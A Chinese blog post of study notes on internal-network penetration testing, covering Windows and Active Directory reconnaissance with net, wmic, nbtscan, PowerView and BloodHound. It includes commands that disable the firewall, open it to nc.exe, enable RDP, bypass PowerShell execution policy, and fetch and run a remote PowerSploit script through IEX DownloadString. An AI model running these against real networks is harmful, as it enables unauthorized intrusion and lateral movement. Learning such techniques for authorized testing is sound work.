内网渗透学习01——内网信息收集笔记

内网信息收集

内网信息收集概述

  渗透测试进入内网阶段,面对一片 “黑暗森林” 。所以首先对当前的网络环境进行判断。

  • 我是谁? —— 对当前机器角色进行判断。
  • 这在哪? —— 对当前机器所处的网络环境和拓扑结构进行分析和判断。
  • 我在哪? —— 对当前机器所处区域进行判断。

  对当前计算机角色判断,是指判断当前计算机是普通Web服务器、FTP服务器、代理服务器、DNS服务器等

  对当前计算机所处网络环境的拓扑结构分析和判断,是指对所在的内网进行全面的数据收集和分析整理,绘制出大致的内网结构拓扑图。

  对当前计算机所处区域判断,是指判断计算机处于网络拓扑中哪个区域,是在DMZ区、办公区、还是核心区。

收集本机信息

  不管是外网还是内网中,信息收集都是第一步。对于内网中的一台机器,其所处的内网的结构是什么样的、其角色是什么样的、使用这台机器的人的角色是什么样的,以及这台机器上安装了什么杀软、这台机器通过什么方式上网、这台机器是笔记本还是台式等问题,都需要通过信息收集来获取。

  本机信息包括操作系统、版本、权限、网卡、IP、用户、杀软、端口、服务、补丁更新、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀软一般都是统一安装的。通过本机信息,推断出域内其他主机信息。

工作组信息收集

查询操作系统和版本信息

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查询软件安装及版本,路径

wmic product get name,version

powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

查看自动启动信息和计划任务信息

wmic startup get command,caption

schtasks /query /fo LIST /v

查询端口列列表

netstat -nao
netstat -nao | findstr ESTABLISHED

查询补丁

systeminfo
wmic qfe get Caption,description,InstalledOn

查看共享

net share 
wmic share get description,name,path

防火墙配置和开关

# 查看配置
netsh firewall show config
# 关闭防火墙
netsh firewall set opmode disable	# 2003以前使用
netsh advfirewall set allprofiles state off	# 2003以后使用
# 配置防火墙
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"

# 3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

远程桌面

# 查看远程桌面端口
reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
# 2008和2012开启远程桌面
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

# 注册表开启方法 (推荐使用)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

探测域内存活主机

1. 利用NetBIOS快速探测

nbtscan 192.168.1.1/20 [下载地址:http://www.unixwiz.net/tools/nbtscan.html#download]

  • sharing :正在运行文件和打印共享服务,不一定有内容共享
  • dc: 可能是域控制器
  • u=user : 有登陆名为User的用户
  • IIS: 可能安装了IIS服务
  • exchange: 可能安装了exchange
  • notes : 可能安装了lotus notes 邮件客户端
  • ? : 未识别出该机器 的NetBios资源

2.利用ICMP协议探测

循环 ping:

for /L %I in (1,1, 254) do @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”

3. 通过ARP扫描探测

apr-scan工具:arp.exe -t 192.168.1.1/24 [下载地址:https://gitee.com/RichChigga/arp-scan-windows]

Nishang中的Invoke-ARPScan.ps1脚本

powershell.exe -exec bypass -Command “& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}” >> c:\log.txt

4. 通过常规TCP/UDP端口扫描

scanline工具

scanline -h -t 20,80-89,110,389,445,3389,1099,7001,3306,1433,8080,1521 -u 53,161 -O c:\log.txt -p 192.168.1.1-254 /b

端口扫描

# 单个端口扫描
telnet 192.168.1.1 1433
# s扫描器
s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
# Metasploit端口扫描
use auxiliary/scanner/portscan/tcp

# PowerSploit的Invoke-portscan.ps1脚本  无文件落地
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"

域内基础信息收集

判断是否存在域

ipconfig /all 

systeminfo

net config workstation

net time /domain
# 判断主域
- 拒绝访问:存在域,但当前用户不是域用户
- 回显时间:存在域,且当前用户为域用户
- 找不到workgroup的域控制器:不存在域

收集域内基础信息

net view /domain

net group "domain computers" /domain #查询域成员
net accounts /domain # 密码策略
nltest /domain_trusts	#查询域信任信息

# 域控定位
nltest /DCLIST:XXX
nslookup -type=SRV _ldap._tcp
net time /domain
net group "domain controllers" /domain
netdom query pdc

# 查询域用户列表
net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators /domain

# 查询域管理员用户组
net group "domain admins" /domain
net group "Enterprise admins" /domain

获取域内用户和管理员

# 查询所有域用户列表
#向域控制器查询: 
net user /domain
#获取域内用户的详细信息: 
wmic useraccount get /all
# 查看存在的用户:
dsquery user

# 查询域管理员用户级
# 查询域管理员用户:
net group "Domain admins" /domain
# 查询管理员用户组:
net group "Enterprise Admins" /domain

定位域管理员

#常用域管理员定位 工具

psloggedon.exe [下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon]  #有弹窗
可以查看本地登录的用户和通过本地计算机或远程计算机的资源登陆的用户。psloggedon /? 查看帮助文档

PVEFindADUser.exe [下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn]
可用于查找 活动目录用户登陆的位置、枚举域用户、以及查找 在特定计算机上登陆的用户。

etview.exe[下载地址:https://github.com/mubix/netview ]
使用WinAPI枚举系统用户,利用NetSessionEnum寻找登陆会话,利用NetShareEnum寻找共享,利用NetWkstaUserEnum枚举登陆的用户

# Nmap的NSE脚本
smb-enum-sessions.nse :获取远程机器的登陆会话
smb-enum-domains.nse:对域控制器进行信息收集,获取主机信息、用户、可使用密码策略的用户
smb-enum-users.nse:
smb-enum-shares.nse:遍历远程主机的共享目录
smb-enum-processes.nse:遍历主机的系统进程
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBios机器名、NetBIOS域名、工作组、系统时间等


# PowerView脚本
Invoke-StealthUserHunter
只需要一次查询,就可以获取域里面的所有用户。PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就使用Invoke-UserHunter
Invoke-UserHunter
找到域内特定的用户群,接收用户名、用户列表和域组查询 ,接收一个主机列表或查询 可用的主机域名
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"

查找与管理进程

# 本机检查
1、获取域管理员列表
net group "domain admins" /domain
2、列出所有进程列表和进程用户
tasklist /v
3、寻找是否有以域管理员运行的进程	



利用Powershell收集域信息

如果想要执行powershell 脚本,就要修改Powershell的执行权限。Powershell常用的执行权限共有四种

Get-ExecutionPolicy 获取当前powershell执行策略

Set-executionPolicy Unrestricted 更改执行策略

  • Restricted:默认权限,不允许执行任何脚本
  • Allsigned:只能运行证书验证的脚本
  • Unrestricted:权限最高,可以执行任意脚本
  • RemoteSigned:本地脚本不进行限制;对来自网络的脚本验证器签名
PowerView.ps1 #使用
https://github.com/PowerShellMafia/PowerSploit # 项目地址

#导入脚本
import-module .\PowerView.ps1

PowerView.ps1 常用命令

Get-NetDomain	#获取当前用户所在域名称
Get-NetUser		#获取域内所有用户信息
Get-NetDomainController	#获取域内所有域控制器
Get-NetComputer	#获取域内所有机器
Get-NetOU		#获取域内OU信息
Get-NetGroup	#获取域内所有组和成员信息
Get-NetSession	#获取指定服务器的会话
Get-NetShare	#获取当前域所有的网络共享
Get-NetRDPSession	#获取指定服务器的远程连接信息
Get-NetProcess	#获取远程主机的进程
Get-UserEvent	#获取指定用户日志
Get-ADObject	#获取活动目录的对象
Get-NetGPO		#获取域内所有组策略对象
Get-DomainPolicy	#获取域默认策略或域控制器策略
Invoke-UserHunter	#获取域用户等的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter	#通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter	#根据用户日志查询某域用户登录过那些机器

# 绕过 Restricted 权限
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"

域分析工具 BloodHound

java 11下载 https://www.oracle.com/java/technologies/downloads/#java11

下载 Neo4j数据库 https://neo4j.com/download/

配置环境变量

JAVA_HOME  C:\Program Files\jdk-11.0.13
PATH  %JAVA_HOME\bin%

NEO4j_HOME  C:\neo4j-community-4.1.11
PATH %NEO4J_HOME\bin%

#启动 neo4j数据库 
neo4j.bat console
#登录并重置密码
http://localhost:7474

下载 BloodHound https://github.com/BloodHoundAD/BloodHound

运行 BloodHound.exe

连接neo4j数据库

内网渗透学习01——内网信息收集笔记_第1张图片

数据采集工具 SharpHound

SharpHound.exe -c all

生产 zip文件,导入BloodHound 进行分析

分析查询功能

1、查询所有域管理员	Find all Domain Admins
2、寻找到域管理员的最短路径	Find Shortest Paths to Domain Admins
3、查找具有DCSync权限的主体	Find Principals with DCSync Rights
4、具有外部域组成员资格的用户	Users with Foreign Domain Group Membership
5、具有外部域名组成员资格的组	Groups with Foreign Domain Group Membership
6、映射域信任	Map Domain Trusts
7、到无约束委托系统的最短路径	Shortest Paths to Unconstrained Delegation Systems
8、到达Kerberoastable用户的最短路径	Shortest Paths from Kerberoastable Users
9、从Kerberoastable用户到域管理员的最短路径	Shortest Paths from Kerberoastable Users
10、拥有的主体的最短路径	Shortest Path from Owned Principals
11、从拥有的主体到域管理员的最短路径	Shortest Paths to Domain Admins from Owned Principals
12、到高价值目标的最短路径	Shortest Paths to High Value Targets
13、查找域用户是本地管理员的计算机	Find Computers where Domain Users are Local Admin
14、查找域用户可以读取密码的计算机	Find Computers where Domain Users can read LAPS passwords
15、从域用户到高价值目标的最短路径	Shortest Paths from Domain Users to High Value Targets
16、找到从域用户到高价值目标的所有路径	Find All Paths from Domain Users to High Value Targets
17、找到域用户可以RDP的工作站	Find Workstations where Domain Users can RDP
18、找到域用户可以RDP的服务器	Find Servers where Domain Users can RDP
19、查找域用户组的危险权限		Find Dangerous Rights for Domain Users Groups
20、找到高价值群体中能够支持kerberoable的成员	Find Kerberoastable Members of High Value Groups
21、列出所有kerberoable用户	List all Kerberoastable Accounts
22、查找具有大多数特权的Kerberoastable用户	Find Kerberoastable Users with most privileges
23、查找到非域控制器的域管理登录	Find Domain Admin Logons to non-Domain Controllers
24、查找不支持操作系统的计算机	Find Computers with Unsupported Operating Systems
25、查找AS-REP Roastable用户(DontReqPreAuth)	Find AS-REP Roastable Users (DontReqPreAuth)
***仅用于学习交流,不得用于非法用途 如侵权请私聊博主删文***

你可能感兴趣的:(内网渗透学习笔记,安全)